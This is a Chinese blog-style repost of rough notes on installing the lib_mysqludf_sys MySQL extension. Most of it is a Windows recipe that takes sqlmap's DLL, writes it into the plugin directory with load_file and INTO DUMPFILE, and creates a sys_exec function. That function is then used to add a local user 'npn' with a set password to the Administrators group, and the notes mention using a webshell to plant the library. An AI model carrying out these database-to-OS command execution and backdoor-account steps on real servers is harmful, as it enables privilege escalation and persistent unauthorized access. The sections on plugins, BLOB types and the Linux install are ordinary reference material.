lib_mysqludf_sys的安裝過程


看了太多資料,累壞了,先雜亂的放在這里吧,回頭有時間再排版

一、window系統

1、從sqlmap中找到32為的 lib_mysqludf_sys.dll (64位的我沒有測試成功)

選擇數據庫

USE mysql;

創建數據表

CREATE TABLE npn(line blob);
lib_mysqludf_sys.dll里的內容寫入數據表

INSERT INTO npn values(load_file('d:/lib_mysqludf_sys.dll'));

把數據表內的內容寫到lib_mysqludf_sys_32.dll里面(其實這兩個dll是一樣的;)

SELECT * FROM mysql.npn INTO DUMPFILE 'd:/lib_mysqludf_sys_32.dll' ;
關鍵的一步:一定要把 lib_mysqludf_sys_32.dll拷貝到mysql的plugin目錄下,這樣下面的命令才可以執行
 
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll' ;
上面執行成功后,便可以對window做各種操作了:
SELECT sys_exec( "net user npn npn12345678 /add" );

SELECT sys_exec("net localgroup Administrators npn /add");

 

2、

如果不清楚mysql lib目錄可以登mysql執行


mysql> show variables like '%plug%';

注意,如果庫中沒有相關的函數者會報錯如:

 

3、mysql通過plugin可以擴展更多的功能.plugin相當於一種插件,用戶可以根據自己的需要求開發各種
各樣的plugin來支持自定義的功能,比如存儲引擎,半同步復制,分區等等各種各樣的功能.

mysql服務器的plugin可以分為兩類,一種是內置的plugin,一種是外部的plugin.內部的plugin主要是和
mysql服務器一起分發的,用戶不需要額外干預.而外部的plugin是由用戶自行開發,實現某種特殊的功能.
可以通過 show plugins來查看。如果library欄位為null,就表示為內置的plugin,否則為外部的plugin。

mysql> show plugins;

 

4、BLOB類型的字段用於存儲二進制數據

MySQL中,BLOB是個類型系列,包括:TinyBlob、Blob、MediumBlob、LongBlob,這幾個類型之間的唯一區別是在存儲文件的最大大小上不同。

MySQL的四種BLOB類型
類型 大小(單位:字節)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G

 

5、從MYSQL 5.1版本開始必須要把udf.dll文件放到MYSQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數,並且該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然后將udf.dll文件導出到該目錄即可。

 

 

6、mysql dumpfile 與 outfile 函數的區別

    into outfile 函數會 在行末端寫入新行 更致命的 是會轉義換行符, 這樣的話2進制可執行文件就會被破壞 ,

    在導出到 一個txt文件,事實上是可以完整導出每行記錄的.這個很適合導庫,如果要導出多行記錄,dumpfile是不行的 它只能導出 一行數據! 

    into dumpfile 就能導出 一個完整能執行的2進制 文件into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理

 

7、查看系統plugin的設置目錄;

   select @@basedir;  --獲取mysql安裝目錄;

   show variables like "%plugin%"

 

 

二、linux:

1、從下面地址下載最新的文件

https://github.com/mysqludf/lib_mysqludf_sys

2、進入文件目錄,執行下面命令:

$ sudo ./install.sh

根據提示進行安裝

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM